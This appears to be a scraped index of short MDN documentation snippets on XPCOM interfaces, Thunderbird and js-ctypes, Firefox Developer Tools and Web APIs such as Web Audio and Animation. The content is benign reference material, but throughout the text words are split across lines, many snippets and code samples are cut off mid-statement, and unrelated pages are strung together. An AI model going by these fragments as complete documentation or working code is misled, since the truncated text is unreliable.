view long addrequest(in nsidommozsmsrequest arequest); long createrequest(in nsidommozsmsmanager amanager, out nsidommozsmsrequest arequest); void notifycreatemessagelist(in long arequestid, in long alistid, in nsidommozsmsmessage amessage); void notifygetsmsfailed(in long arequestid, in long aerror); void notifygotnextmessage(in long arequestid, in nsidommozsmsmessage amessage); void n...
nsIStackFrame
inherits from: nsisupports last changed in gecko 1.7 method over
view string tostring(); attributes attribute type description caller nsistackframe read only.
nsIStructuredCloneContainer
method over
view nsivariant deserializetovariant(); astring getdataasbase64(); void initfrombase64(in astring adata,in unsigned long aformatversion); void initfromvariant(in nsivariant adata); attributes attribute type description formatversion unsigned long get the version of the structured clone algorithm which was used to generate this container's serialized buffer.
nsISupportsPrimitive
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description type unsigned short this attribute pro
vides access to the type represented by the nsisupportsprimitive instance.
nsISupportsPriority
method over
view void adjustpriority(in long delta); attributes attribute type description priority long the object's priority.
nsITaskbarProgress
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view void setprogressstate(in nstaskbarprogressstate state, in unsigned long long currentvalue optional, in unsigned long long maxvalue optional); constants constant value description state_no_progress 0 stop displaying progress on the taskbar button.
nsIThreadEventFilter
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view boolean acceptevent(in nsirunnable event);
violates the xpcom interface guidelines methods
violates the xpcom interface guidelines acceptevent() this method is called to determine whether or not an event may be accepted by a nested event queue.
nsIThreadManager
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view nsithread getthreadfromprthread(in prthread prthread); native code only!
nsIThreadObserver
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view void afterprocessnextevent(in nsithreadinternal thread, in unsigned long recursiondepth); void ondispatchedevent(in nsithreadinternal thread); void onprocessnextevent(in nsithreadinternal thread, in boolean maywait, in unsigned long recursiondepth); methods afterprocessnextevent() called by the nsithread method nsithread.processnextevent() after an event is processed.
nsIThreadPoolListener
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method over
view void onthreadcreated(); void onthreadshuttingdown(); methods onthreadcreated() called when a new thread is created by the thread pool.
nsITimerCallback
inherits from: nsisupports last changed in gecko 1.7 method over
view void notify(in nsitimer timer); methods notify() initialize a timer to fire after the given millisecond interval.
nsIToolkit
inherits from: nsisupports last changed in gecko 1.0 method over
view void init(in prthread athread); methods init() initialize this toolkit with athread.
nsITransactionList
inherits from: nsisupports last changed in gecko 1.7 method over
view nsitransactionlist getchildlistforitem(in long aindex); nsitransaction getitem(in long aindex); long getnumchildrenforitem(in long aindex); boolean itemisbatch(in long aindex); attributes attribute type description numitems long the number of transactions contained in this list.
nsITransactionListener
inherits from: nsisupports last changed in gecko 1.7 method over
view void didbeginbatch(in nsitransactionmanager amanager, in nsresult aresult); void diddo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult adoresult); void didendbatch(in nsitransactionmanager amanager, in nsresult aresult); void didmerge(in nsitransactionmanager amanager, in nsitransaction atoptransaction, in nsitransaction atransactiontomerge, in boolean adidmerge, in nsresult amergeresult); void didredo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult aredoresult); void didundo(in nsitransactionmanager amanager, in ...
nsITransactionManager
inherits from: nsisupports last changed in gecko 1.7 method over
view void addlistener(in nsitransactionlistener alistener); void beginbatch(); void clear(); void dotransaction(in nsitransaction atransaction); void endbatch(); nsitransactionlist getredolist(); nsitransactionlist getundolist(); nsitransaction peekredostack(); nsitransaction peekundostack(); void redotransaction(); void removelistener(in nsitransactionlistener alistener); void undotransaction(); attributes attribute type description maxtransactioncount long sets the maximum number of transaction items the transaction manager will maintain at an...
nsITransportSecurityInfo
netwerk/socket/nsitransportsecurityinfo.idlscriptable this interface pro
vides information about transport security, including the security state and any error message for the connection.
nsITreeColumns
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view nsitreecolumn getcolumnat(in long index); nsitreecolumn getcolumnfor(in nsidomelement element); nsitreecolumn getfirstcolumn(); nsitreecolumn getkeycolumn(); nsitreecolumn getlastcolumn(); nsitreecolumn getnamedcolumn(in astring id); nsitreecolumn getprimarycolumn(); nsitreecolumn getsortedcolumn(); void invalidatecolumns(); void restorenaturalorder(); attributes attribute type description count long the number of columns.
nsIURIFixupInfo
keywordpro
vidername astring the keyword search pro
vider name expected to pro
vide a keyword search; empty string if no keyword search is performed.
nsIURLFormatter
mozilla applications linking to mozilla websites are strongly encouraged to use urls of the following format: http[s]://%ser
vice%.mozilla.[com|org]/%locale%/ method over
view astring formaturl(in astring aformat); astring formaturlpref(in astring apref); methods formaturl() formats a string url.
nsIUploadChannel
inherits from: nsisupports last changed in gecko 1.7 method over
view void setuploadstream(in nsiinputstream astream, in acstring acontenttype, in long acontentlength); attributes attribute type description uploadstream nsiinputstream get the stream (to be) uploaded by this channel.
nsIUploadChannel2
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view void explicitsetuploadstream(in nsiinputstream astream, in acstring acontenttype, in long long acontentlength, in acstring amethod, in boolean astreamhasheaders); methods explicitsetuploadstream() sets a stream to be uploaded by this channel with the specified content-type and content-length header values.
nsIUrlListManagerCallback
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void handleevent(in acstring value); methods handleevent() void handleevent( in acstring value ); parameters value ...
nsIUserCertPicker
inherits from: nsisupports last changed in gecko 1.7 method over
view nsix509cert pickbyusage(in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled); methods pickbyusage() nsix509cert pickbyusage( in nsiinterfacerequestor ctx, in wstring selectednickname, in long certusage, in boolean allowinvalid, in boolean allowduplicatenicknames, out boolean canceled ); parameters ctx selectednickname certusage allowinvalid allowduplicatenicknames canceled return value ...
nsIUserInfo
to get the ser
vice, use: var userinfo = components.classes["@mozilla.org/userinfo;1"] .getser
vice(components.interfaces.nsiuserinfo); you can then look at the userinfo object's attributes to learn what the system knows about the user.
nsIWeakReference
method over
view void queryreferent( in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result ); methods queryreferent() this method queries an interface on the referent if it exists, and like nsisupports.queryinterface(), produces an owning reference to the desired interface.")}} it is designed to look and act exactly like (a proxied) nsisupports.queryinterface().
nsIWebBrowserChrome
inherits from: nsisupports last changed in gecko 0.9.6 method over
view void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome.
nsIWebBrowserChrome3
1.0 66 introduced gecko 2.0 inherits from: nsiwebbrowserchrome2 last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view astring onbeforelinktraversal(in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); methods onbeforelinktraversal() determines the appropriate target for a link.
nsIWebappsSupport
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void installapplication(in wstring title, in wstring uri, in wstring iconuri, in wstring icondata); boolean isapplicationinstalled(in wstring uri); methods installapplication() this method installs a web application.
nsIWifiAccessPoint
netwerk/wifi/nsiwifiaccesspoint.idlscriptable this interface pro
vides information about a single access point.
nsIWinAccessNode
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view voidptr querynativeinterface([const] in mscomiidref aiid); methods querynativeinterface() voidptr querynativeinterface( [const] in mscomiidref aiid ); parameters aiid return value ...
nsIWorker
method over
view void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); attributes attribute type description onmessage nsidomeventlistener an object to receive notifications when messages are received on the worker's message port.
nsIWorkerFactory
to create an instance, use: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); method over
view nsiworker newchromeworker(in domstring ascripturl); methods newchromeworker() returns a new chromeworker that will run a specified script.
nsIWorkerMessageEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data.
nsIWorkerMessagePort
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void postmessage(in domstring amessage); methods postmessage() posts a message into the event queue.
nsIWorkerScope
1.0 66 introduced gecko 1.9.1 inherits from: nsiworkerglobalscope last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); void close(); attributes attribute type description onclose nsidomeventlistener a listener object to be called when the worker stops running.
nsIWritablePropertyBag
1.0 66 introduced gecko 1.8 inherits from: nsipropertybag last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void deleteproperty(in astring name); void setproperty(in astring name, in nsivariant value); methods deleteproperty() delete a property with the given name.
nsIWritablePropertyBag2
1.0 66 introduced gecko 1.8 inherits from: nsipropertybag2 last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void setpropertyasacstring(in astring prop, in acstring value); void setpropertyasastring(in astring prop, in astring value); void setpropertyasautf8string(in astring prop, in autf8string value); void setpropertyasbool(in astring prop, in boolean value); void setpropertyasdouble(in astring prop, in double value); void setpropertyasint32(in astring prop, in print32 value); void setpropertyasint64(in astring prop, in print64 value)...
nsIXFormsModelElement
1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void refresh(); void revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned.
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable this interface pro
vides access to the event listeners used when uploading data using the xmlhttprequest object.
nsIXMLHttpRequestUpload
content/base/public/nsixmlhttprequest.idlscriptable this interface pro
vides access to the features needed when uploading data using nsixmlhttprequest.
nsIXPCException
inherits from: nsiexception last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view void initialize(in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner); xpcexjsval stealjsval(); native code only!
nsIXULBuilderListener
inherits from: nsisupports last changed in gecko 1.7 method over
view void didrebuild(in nsixultemplatebuilder abuilder); void willrebuild(in nsixultemplatebuilder abuilder); methods didrebuild() called after a template builder has rebuilt its content.
nsIXmlRpcFault
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void init(in print32 faultcode, in string faultsring); string tostring(); attributes attribute type description faultcode print32 read only.
nsMsgSearchAttrib
chattribvalue cc = 7; const nsmsgsearchattribvalue toorcc = 8; const nsmsgsearchattribvalue alladdresses = 9; const nsmsgsearchattribvalue location = 10; /* result list only */ const nsmsgsearchattribvalue messagekey = 11; /* message result elems */ const nsmsgsearchattribvalue ageindays = 12; const nsmsgsearchattribvalue folderinfo = 13; /* for "
view thread context" from result */ const nsmsgsearchattribvalue size = 14; const nsmsgsearchattribvalue anytext = 15; const nsmsgsearchattribvalue keywords = 16; // keywords are the internal representation of tags.
NS_ASSERTION
the beha
vior of an assertion failure can be controlled using the xpcom_debug_break en
vironment variable.
NS_CStringContainerInit
after a nscstringcontainer object has been initialized
via ns_cstringcontainerinit, it may be used as an ordinary nsacstring object.
NS_CStringContainerInit2
remarks after a nscstringcontainer object has been initialized
via ns_cstringcontainerinit2, it may be used as an ordinary nsacstring object.
XPCOM string functions
xpcom pro
vides these low-level string functions to let you work with strings; however, it's often better to use one of the string classes rather than directly using these functions.
nsGetModuleProc
summary this function prototype pro
vides the xpcom entry-point into a module.
nsIAbCard/Thunderbird3
ame dates: anniversaryyear, anniversarymonth, anniversaryday birthyear, birthmonth, birthday webpage1 (work), webpage2 (home) custom1, custom2, custom3, custom4 notes integral properties: lastmodifieddate popularityindex prefermailformat (see nsiabprefermailformat) boolean properties: allowremotecontent inherits from: nsiabitem method over
view nsivariant getproperty(in autf8string name, in nsivariant defaultvalue); [noscript] astring getpropertyasastring(in string name); [noscript] autf8string getpropertyasautf8string(in string name); [noscript] pruint32 getpropertyasuint32(in string name); [noscript] boolean getpropertyasbool(in string name); void setproperty(in autf8string name...
Using nsCOMPtr
portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Using nsIClassInfo
original document information authors: mike shaver, justin lebar last updated date: july 25, 2011 copyright information: portions of this content are © 1998–2011 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Using the Gecko SDK
the abi of the component interfaces depends on the c++ abi of the host compiler (i.e., the vtable format and calling conventions of the
virtual methods may vary from compiler to compiler).
Weak reference
see also the source xpcom/base/nsiweakreference.idl xpcom/glue/nsweakreference.h xpcom/glue/nsweakreference.cpp xpcom ownership guidelines using nscomptr original document information author: scott collins last updated date: september 23, 2000 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Working with Multiple Versions of Interfaces
to include both retrieval interfaces (and remember the old iid without ha
ving to cut and paste) i followed the kind ad
vice of mike shaver and did: #define nsiaccessibleretrieval nsiaccessibleretrieval_old #include "accessibility/nsiaccessibleretrieval_old.h" static const nsiid ns_iaccessibleretrieval_iid_old = ns_iaccessibleretrieval_iid; #undef nsiaccessibleretrieval #undef __gen_nsiaccessibleretrieval_h__ #include "accessibility/nsiaccessibleretrieval.h" and followin...
pyxpidl
generating c++ headers to generate c++ headers, use the header.py utility: sdkdir/sdk/bin/header.py --cachedir=<path> -o <outputfilename.h> <filename.idl> generating typelibs generating typelib files is done using the typelib.py utility: sdkdir/sdk/bin/typelib.py --cachedir=<path> -o <outputfilename.xpt> <filename.idl> comparing pyxpidl to xpidl this table pro
vides a mapping of old xpidl options to pyxpidl.
Test-Info
each task generates one or more json-formatted data files pro
viding detailed information on tests run in continuous integration, typically broken down by bugzilla component.
The Valgrind Test Job
it also prints a suppression, which is a sequence of text that can be put in a suppression file (and specified
via valgrind's --suppressions option) if you want valgrind to ignore such errors in future runs.
Testing Mozilla code
fuzzing interfacethe fuzzing interface is glue code li
ving in mozilla-central in order to make it easier for developers and security researchers to test c/c++ code with either libfuzzer or afl-fuzz.measuring code coverage on firefoxcode coverage essentially is about measuring how often certain lines are hit, branches taken or conditions met in a program, given some test that you run on it.
LDAP Support
original document information author(s): scott macgregor copyright information: portions of this content are © 1998–2010 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Mailbox
it consists of nsmailboxser
vice, nsmailboxurl, and nsmailboxprotocol.
Message Interfaces
nsimsgdb
view nsimsgdb
view - the nsimsgdb
view interface handles the display of mail in the threadpane and pre
view pane of thunderbird and other xpcom based mail cients.
Create Custom Column
the customdbheaders preference article pro
vides information on a preference setting that exposes custom header data for use in a custom column within thunderbird's main
view.
Tips and Tricks from the newsgroups
call java from thunderbird extensions (also an example here, written for firefox but compatible with thunderbird 3.x) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdb
view are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyser
vice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user forc...
XPI
when xpi files are served
via http, the application/x-xpinstall mime type should be matched with the xpi file extension.
Using COM from js-ctypes
, (void**)&pvoice); if (succeeded(hr)) { pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following command in the directory (needs
visual studio).
Examples
lightweight bridge for calling cocoa frameworks from javascript, js-macosx transparently handles definition of cocoa api, both c and objective-c, and pro
vides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing cocoa classes.
Memory Management
this should be ob
vious, but is important enough to be worth stating explicitly.
ctypes.open
if the native file is located at chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so then it is converted to a file uri like this: components.utils.import("resource://gre/modules/ser
vices.jsm"); var cr = components.classes['@mozilla.org/chrome/chrome-registry;1'].getser
vice(components.interfaces.nsichromeregistry); var chromeuri_mylib = ser
vices.io.newuri('chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so', 'utf-8', null); var localfile_mylib = cr.convertchromeurl(chromeuri_mylib); var jarpath_mylib = localfile_mylib.spec; // "jar:file:///c:/users/vayeate/appdata/r...
Using js-ctypes
the current working directory the directories listed in the path en
vironment variable.
ABI
method over
view string tosource() string tostring() methods tosource() returns the string "ctypes.***_abi".
FunctionType
method over
view methods inherited from ctype ctype array([n]) string tosource() string tostring() functiontype cdata functiontype cdata cannot be constructed.
Int64
method over
view number compare(a, b); number hi(a); int64 join(high, low); number lo(a); string tosource(); string tostring([radix]); methods compare() compares two 64-bit integer values.
UInt64
method over
view number compare(a, b); number hi(a); uint64 join(high, low); number lo(a); string tosource(); string tostring([radix]); methods compare() compares two 64-bit integer values.
Preferences System
ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in
via a dynamic overlay.
Access debugging in add-ons - Firefox Developer Tools
window.addeventlistener("debugger:editorunloaded") relevant files: chrome://browser/content/devtools/debugger-controller.js chrome://browser/content/devtools/debugger-toolbar.js chrome://browser/content/devtools/debugger-
view.js chrome://browser/content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate watches/expressions within the debugged scope, or highlight elements on the page that are referenced as variables in the debugged scope.
Debug eval sources - Firefox Developer Tools
in the
video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# sourceurl=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# sourceurl directive.
Search - Firefox Developer Tools
for example, if i enter "load" when
viewing the above list, i get the following: only the functions with load in their name are shown.
Use a source map - Firefox Developer Tools
the comment's syntax is like this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the
video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html.
Network monitor recording - Firefox Developer Tools
this is useful in situations where, for example, you are trying to get a stable
view of a page for debugging purposes, but under normal circumstances the
view keeps evol
ving due to persistent network requests.
Examine Event Listeners - Firefox Developer Tools
bound to this element: each line contains: a right-pointing arrowhead; click to expand the row and show the listener function source code a curved arrow pointing to a stack; click it to show the code for the handler in the debugger the name of the event for which a handler was attached to this element the name and line number for the listener; you can also click here to expand the row and
view the listener function source code a label indicating whether the event bubbles a label indicating the system that defines the event.
Inspect and select colors - Firefox Developer Tools
in the css pane's rules
view, if a rule contains a color value, you'll see a sample of the color next to the value: a color sample is also shown for css custom properties (variables) that represent colors.
Reposition elements in the page - Firefox Developer Tools
if an element has its position property set to absolute, relative or fixed and one or more of the top, bottom , left or right properties, the box model
view displays a button: if you click that button, two handles appear next to the element: you can use these handles to drag the element around the page.
How to - Firefox Developer Tools
box inspector: examine flexbox layoutscss grid inspector: examine grid layoutsedit css filtersedit shape paths in cssedit fontsexamine event listenersexamine and edit cssexamine and edit htmlexamine and edit the box modelinspect and select colorsopen the inspectorreposition elements in the pageselect an elementselect and highlight elementsuse the inspector apiuse the inspector from the web console
view background images
visualize transformswork with animations ...
How to - Firefox Developer Tools
select a tool to switch between the waterfall, call tree, and flame chart tools, use the buttons in the toolbar: configure markers displayed to control which markers are shown in the waterfall, use the button in the toolbar: zoom in to zoom into a slice of the recording, select that slice in the recording over
view: ...
Web console keyboard shortcuts - Firefox Developer Tools
add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the pre
vious autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions page up page up page up page down through autocomplete suggestions page down page down page down scroll to start of autocomplete suggestions home home ...
Accelerometer.x - Web APIs
the x read-only property of the accelerometer interface returns a double precision integer containing the acceleration of the de
vice along the its x axis.
Accelerometer.y - Web APIs
the y read-only property of the accelerometer interface returns a double precision integer containing the acceleration of the de
vice along the its y axis.
Accelerometer.z - Web APIs
the z read-only property of the accelerometer interface returns a double precision integer containing the acceleration of the de
vice along the its z axis.
AnalyserNode.fftSize - Web APIs
analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount ; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { draw
visual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength;...
AnalyserNode.getByteFrequencyData() - Web APIs
analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { draw
visual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillr...
AnalyserNode.getByteTimeDomainData() - Web APIs
analyser.fftsize = 2048; const bufferlength = analyser.fftsize; const dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { draw
visual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; const slicewidth = width * 1.0 / bufferlength; let x = 0; canvasctx.beginpath(); for(var i = 0; i < bufferlength; i++) { const v = dataarray[i]/1...
AnalyserNode.getFloatTimeDomainData() - Web APIs
analyser.fftsize = 1024; var bufferlength = analyser.fftsize; console.log(bufferlength); var dataarray = new float32array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { draw
visual = requestanimationframe(draw); analyser.getfloattimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] * 200...
AnalyserNode.maxDecibels - Web APIs
analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { draw
visual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillr...
AnalyserNode.minDecibels - Web APIs
analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { draw
visual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillr...
Animation.finish() - Web APIs
that is, if the animation is playing forward, it sets the playback time to the length of the animation sequence, and if the animation is playing in reverse (ha
ving had its reverse() method called), it sets the playback time to 0.
Animation.persist() - Web APIs
the persist() method of the web animations api's animation interface explicitly persists an animation, when it would otherwise be removed due to the browser's automatically remo
ving filling animations beha
vior.
Animation.playbackRate - Web APIs
animations have a playback rate that pro
vides a scaling factor from the rate of change of the animation's timeline time values to the animation’s current time.
Animation.ready - Web APIs
since the same promise is used for both pending play and pending pause requests, authors are ad
vised to check the state of the animation when the promise is resolved.
Animation.replaceState - Web APIs
the value can be one of: active: the initial value of the animation's replace state; when the animation has been removed by the browser's automatically remo
ving filling animations beha
vior.
Animation.startTime - Web APIs
examples in the running on web animations api example, the we can sync all new animated cats by gi
ving them all the same starttime as the original running cat: var catrunning = document.getelementbyid ("withwaapi").animate(keyframes, timing); /* a function that makes new cats.
AnimationEvent.elapsedTime - Web APIs
the animationevent.elapsedtime read-only property is a float gi
ving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused.
AudioBufferSourceNode.start() - Web APIs
source.start(audioctx.currenttime + 1,3,10); for a more complete example showing start() in use, check out our audiocontext.decodeaudiodata() example, you can also run the code example live, or
view the source.
AudioConfiguration - Web APIs
} }; // check support and performance na
vigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
AudioContext.createJavaScriptNode() - Web APIs
pe.process = function(e) { var data = e.outputbuffer.getchanneldata(0); for (var i = 0; i < data.length; ++i) { data[i] = math.sin(this.x++); } } sinewave.prototype.play = function() { this.node.connect(this.context.destination); } sinewave.prototype.pause = function() { this.node.disconnect(); } see also generating tones with the web audio api exploring the html5 web audio:
visualizing sound ...
AudioContext.createMediaStreamTrackSource() - Web APIs
na
vigator.mediade
vices.getusermedia ({audio: true,
video: false}) .then(function(stream) { audio.srcobject = stream; audio.onloadedmetadata = function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.
AudioContext.resume() - Web APIs
the resume() method of the audiocontext interface resumes the progression of time in an audio context that has pre
viously been suspended.
AudioNode.connect() - Web APIs
examples connecting to an audio input the most ob
vious use of the connect() method is to direct the audio output from one node into the audio input of another node for further processing.
AudioParam.setTargetAtTime() - Web APIs
0% 0.5 * timeconstant 39.3% 1 * timeconstant 63.2% 2 * timeconstant 86.5% 3 * timeconstant 95.0% 4 * timeconstant 98.2% 5 * timeconstant 99.3% n * timeconstant 1-e-n1 - e^{-n} examples in this example, we have a media source with two control buttons (see the webaudio-examples repo for the source code, or
view the example live.) when these buttons are pressed, settargetattime() is used to fade the gain value up to 1.0, and down to 0, respectively, with the effect starting after 1 second, and the length of time the effect lasts being controlled by the timeconstant.
AudioParam.setValueAtTime() - Web APIs
examples this simple example features a media element source with two control buttons (see our webaudio-examples repo for the source code, or
view the example live).
AudioParam.setValueCurveAtTime() - Web APIs
examples in this example, we have a media source with a single button (see the webaudio-examples repo for the source code, or
view the example live.) when this button is pressed, setvaluecurveattime() is used to change the gain value between the values contained in the wavearray array: // create audio context var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // set basic variables for example var myaudio = document.queryselector('audio'); var pre = document.queryselec...
AudioParam.value - Web APIs
if the current time equals or exceeds the time specified by a pre
vious call to setvalueattime(), the value is changed to the value passed into setvalueattime().
AudioWorklet - Web APIs
the audioworklet interface of the web audio api is used to supply custom audio processing scripts that execute in a separate thread to pro
vide very low latency audio processing.
AudioWorkletNode() - Web APIs
a processor with the pro
vided name must first be registered using the audioworkletglobalscope.registerprocessor() method.
AudioWorkletNodeOptions - Web APIs
otherwise, if outputchannelcount is pro
vided and if the values of numberofinputs and numberofoutputs are both 1, the audio worklet node's channel count is set to the value of outputchannelcount.
AuthenticatorAttestationResponse.attestationObject - Web APIs
examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification st...
BaseAudioContext.createChannelSplitter() - Web APIs
the createchannelsplitter() method of the baseaudiocontext interface is used to create a channelsplitternode, which is used to access the indi
vidual channels of an audio stream and process them separately.
BaseAudioContext.createConvolver() - Web APIs
// grab audio track
